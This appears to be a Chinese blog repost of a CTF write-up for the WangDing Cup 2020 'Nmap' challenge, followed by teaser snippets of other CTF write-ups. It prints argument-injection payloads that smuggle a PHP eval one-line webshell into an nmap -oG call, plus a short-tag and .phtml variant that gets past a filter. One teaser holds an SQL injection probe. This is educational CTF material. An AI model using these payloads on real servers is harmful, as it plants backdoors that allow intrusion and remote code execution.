[網鼎杯 2020 朱雀組]Nmap(namp寫webshell)

阿新 • • 發佈：2020-12-21

前言

文章所涉及的資料來自網際網路整理和個人總結，意在於個人學習和經驗彙總，如有什麼地方侵權，請聯絡本人刪除，謝謝！本文僅用於學習與交流，不得用於非法用途！

題目

在這裡插入圖片描述
這裡用到nmap寫webshell的技巧，如下程式碼

' <?php @eval($_POST["hack"]);?> -oG hack.php '

這樣就能夠將一句話寫到目錄下，再用菜刀或者蟻劍來連，但是這題過濾了php字樣，所以標籤用短標籤，字尾用phtml來繞過

' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

[網鼎杯 2020 朱雀組]Nmap(namp寫webshell)

技術標籤：Web刷題記錄php安全前言文章所涉及的資料來自網際網路整理和個人總結，意在於個人學習和經驗彙總，如有什麼地方侵權，請聯絡本人刪除，謝謝！本文僅用於學習與交流，不得用於非法用途！

[網鼎杯 2020 朱雀組]Nmap 1

[網鼎杯 2020 朱雀組]Nmap 1 這個題目主要考察的是nmap的常用命令和escapeshell函式

刷題[網鼎杯 2020 朱雀組]phpweb

解題思路開啟是一個蠻有意思的背景，眾生皆懶狗，是自己沒錯了。原始碼看一看，啥都沒有。抓個包

[網鼎杯 2020 朱雀組]phpweb

解題過程如下抓包進來的頁面不對勁，雖然不知道什麼梗但是有一說一確實醜，如果注意一下還會發現這個頁面在不斷重新整理，先抓個包看看。

BUUCTF | [網鼎杯 2020 朱雀組]phpweb

一道比較簡單的題，不過對PHP還是不夠熟悉知識點 1.PHP date函式 PHP date() 函式用於對日期或時間進行格式化。

[網鼎杯 2020 朱雀組]phpweb1

開啟環境：題目是phpweb，感覺是一道程式碼審計題，看看如何搞到程式碼看到有倆個傳參，隨手修改一下引數

[BUUOJ記錄] [網鼎杯 2020 朱雀組] phpweb

進入題目在原始碼看到兩個傳參：一個是函式名，一個是引數，猜測後端應該是一個call_user_func()，post請求：func=file_get_contents&p=index.php

[網鼎杯 2020 青龍組]AreUSerialz

題目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op;

刷題記錄：[網鼎杯 2020 玄武組]SSRFMe

題目復現連結：https://buuoj.cn/challenges 參考連結：[網鼎杯 2020 玄武組]SSRFMe 網鼎杯玄武組部分web題解

[網鼎杯 2020 青龍組]jocker

開啟ida檢視檔案，按f5發現不能反編譯找到這塊地址，並且把這裡的棧指標修改正確

CTF程式碼審計之[網鼎杯 2020 青龍組]AreUSerialz

[網鼎杯 2020 青龍組]AreUSerialz <?php include(\"flag.php\"); highlight_file(__FILE__); class FileHandler {

[網鼎杯 2020 玄武組]SSRFMe

[網鼎杯 2020 玄武組]SSRFMe 目錄[網鼎杯 2020 玄武組]SSRFMe解題思路程式碼審計redis主從複製總結思路知識點

[網鼎杯 2020 白虎組]PicDown

技術標籤：檔案包含模板注入SSTI命令執行pythonbash資訊保安shell 知識點檔案讀取檔案描述符python程式碼審計反彈shell

[網鼎杯 2020 青龍組]AreUSerialz-PHP反序列化

[網鼎杯 2020 青龍組]AreUSerialz 試題地址：http://1511a872-c598-4581-99e8-1dfd5bec2e8d.node4.buuoj.cn/

[網鼎杯 2020 青龍組]AreUSerialz 1

題目原始碼 1 <?php 2 3 include(\"flag.php\"); 4 5 highlight_file(__FILE__); 6 7 class FileHandler {

2020-網鼎杯-青龍組-Web-AreUSerialz

2020-網鼎杯-青龍組-Web-AreUSerialz 1.題程式碼審計，反序列化。 <?php include(\"flag.php\");//包含flag.php，所以要讀這個檔案。

[極棒雲鼎杯2020] Web題

目錄web一、cosplaystep1step2二、umsg坑點總結三、noxss200大哥的wpCross Origin Opener Policy(COOP)策略解題四、rtmpdump大哥的wp

網鼎杯-re-signal

下載附件開啟後就是一個32位的pe檔案，用IDA(32)開啟，F5定位至主函式main處，如圖：

網鼎杯

BOOM1 看了大佬部落格後，這題我還是沒怎麼整明白。看到這麼一串東西那這個大概是手動實現了一個簡易的C語言編譯器。經過多次嘗試發現程式沒有什麼限制。所以我們直接寫程式開始利用。

[網鼎杯 2018]Fakebook

註冊賬號登入，找到view.php存在get注入。 ?no=1 and 1=2 #報錯 ?no=1 and 1=1 #正常說明存在注入點。

[網鼎杯 2020 朱雀組]Nmap(namp寫webshell)

前言

題目

相關推薦